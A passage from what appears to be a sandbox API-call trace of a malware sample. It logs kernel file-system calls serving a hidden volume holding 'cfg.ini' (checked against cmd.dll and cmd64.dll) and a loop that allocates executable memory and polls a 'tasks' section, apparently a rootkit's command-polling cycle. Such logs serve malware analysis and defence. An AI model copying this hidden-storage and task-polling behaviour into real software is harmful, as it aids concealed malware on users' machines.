(StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.538] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.538] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.538] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.538] IdePortDispatch () returned 0x103 [0123.538] KeWaitForMutexObject () returned 0x0 [0123.538] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.538] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.538] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.538] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.538] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.538] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beca70 [0123.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.538] KeLeaveCriticalRegion () [0123.538] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.538] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.538] KeEnterCriticalRegion () [0123.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.538] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.538] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.538] KeLeaveCriticalRegion () [0123.538] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.538] KeEnterCriticalRegion () [0123.538] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.538] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.539] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.539] IdePortDispatch () returned 0x103 [0123.539] KeWaitForMutexObject () returned 0x0 [0123.539] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.539] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.539] KeLeaveCriticalRegion () [0123.539] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.539] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.539] KeEnterCriticalRegion () [0123.539] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.539] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cb000 [0123.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.539] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.539] IdePortDispatch () returned 0x103 [0123.539] KeWaitForMutexObject () returned 0x0 [0123.539] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.539] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.539] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.539] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.539] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.539] IdePortDispatch () returned 0x103 [0123.539] KeWaitForMutexObject () returned 0x0 [0123.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.540] KeLeaveCriticalRegion () [0123.540] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.540] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.540] KeEnterCriticalRegion () [0123.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.540] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.540] KeLeaveCriticalRegion () [0123.540] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.540] KeEnterCriticalRegion () [0123.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.540] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.540] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003becdc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.540] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.540] KeLeaveCriticalRegion () [0123.540] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.540] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.540] KeEnterCriticalRegion () [0123.540] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.540] ExFreePoolWithTag (P=0xfffffa8003beca70, Tag=0x0) [0123.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.541] KeLeaveCriticalRegion () [0123.541] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.541] ReleaseMutex (hMutex=0xf0) returned 1 [0123.541] Sleep (dwMilliseconds=0x927c0) [0123.555] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.555] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.555] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.555] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.555] KeEnterCriticalRegion () [0123.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.555] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.555] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.555] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.555] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.555] IdePortDispatch () returned 0x103 [0123.555] KeWaitForMutexObject () returned 0x0 [0123.555] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.555] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.555] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.555] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.555] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.555] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec610 [0123.555] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.555] KeLeaveCriticalRegion () [0123.555] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.555] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.555] KeEnterCriticalRegion () [0123.555] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.555] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.556] KeLeaveCriticalRegion () [0123.556] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.556] KeEnterCriticalRegion () [0123.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.556] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.556] IdePortDispatch () returned 0x103 [0123.556] KeWaitForMutexObject () returned 0x0 [0123.556] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.556] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.556] KeLeaveCriticalRegion () [0123.556] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.556] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.556] KeEnterCriticalRegion () [0123.556] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.556] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d0000 [0123.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.556] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.556] IdePortDispatch () returned 0x103 [0123.556] KeWaitForMutexObject () returned 0x0 [0123.556] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.556] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.556] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.556] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.556] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.557] IdePortDispatch () returned 0x103 [0123.557] KeWaitForMutexObject () returned 0x0 [0123.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.557] KeLeaveCriticalRegion () [0123.557] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.557] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.557] KeEnterCriticalRegion () [0123.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.557] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.557] KeLeaveCriticalRegion () [0123.557] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.557] KeEnterCriticalRegion () [0123.557] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.557] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.557] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.557] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.557] KeLeaveCriticalRegion () [0123.557] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.557] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.558] KeEnterCriticalRegion () [0123.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.558] ExFreePoolWithTag (P=0xfffffa8003bec610, Tag=0x0) [0123.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.558] KeLeaveCriticalRegion () [0123.558] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.558] ReleaseMutex (hMutex=0xf0) returned 1 [0123.558] Sleep (dwMilliseconds=0x927c0) [0123.571] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.571] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.571] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.571] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.571] KeEnterCriticalRegion () [0123.571] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.571] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.571] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.571] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.571] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.571] IdePortDispatch () returned 0x103 [0123.571] KeWaitForMutexObject () returned 0x0 [0123.572] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.572] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.572] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.572] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.572] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.572] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becba0 [0123.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.572] KeLeaveCriticalRegion () [0123.572] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.572] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.572] KeEnterCriticalRegion () [0123.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.572] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.572] KeLeaveCriticalRegion () [0123.572] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.572] KeEnterCriticalRegion () [0123.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.572] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.572] IdePortDispatch () returned 0x103 [0123.572] KeWaitForMutexObject () returned 0x0 [0123.572] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.572] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.572] KeLeaveCriticalRegion () [0123.572] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.572] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.572] KeEnterCriticalRegion () [0123.572] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.572] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d5000 [0123.572] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.572] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.572] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.572] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.573] IdePortDispatch () returned 0x103 [0123.573] KeWaitForMutexObject () returned 0x0 [0123.573] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.573] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.573] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.573] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.573] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.573] IdePortDispatch () returned 0x103 [0123.573] KeWaitForMutexObject () returned 0x0 [0123.573] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.573] KeLeaveCriticalRegion () [0123.573] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.573] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.574] KeEnterCriticalRegion () [0123.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.574] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.574] KeLeaveCriticalRegion () [0123.574] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.574] KeEnterCriticalRegion () [0123.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.574] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.574] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beccb0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.574] KeLeaveCriticalRegion () [0123.574] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.574] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.574] KeEnterCriticalRegion () [0123.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.574] ExFreePoolWithTag (P=0xfffffa8003becba0, Tag=0x0) [0123.574] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.574] KeLeaveCriticalRegion () [0123.574] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.574] ReleaseMutex (hMutex=0xf0) returned 1 [0123.574] Sleep (dwMilliseconds=0x927c0) [0123.589] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.590] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.590] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.590] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.590] KeEnterCriticalRegion () [0123.590] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.590] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.590] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.590] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.590] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.590] IdePortDispatch () returned 0x103 [0123.590] KeWaitForMutexObject () returned 0x0 [0123.591] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.591] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.591] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.591] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.591] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.591] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec260 [0123.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.591] KeLeaveCriticalRegion () [0123.591] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.591] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.591] KeEnterCriticalRegion () [0123.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.591] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.591] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.591] KeLeaveCriticalRegion () [0123.591] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.591] KeEnterCriticalRegion () [0123.591] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.591] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 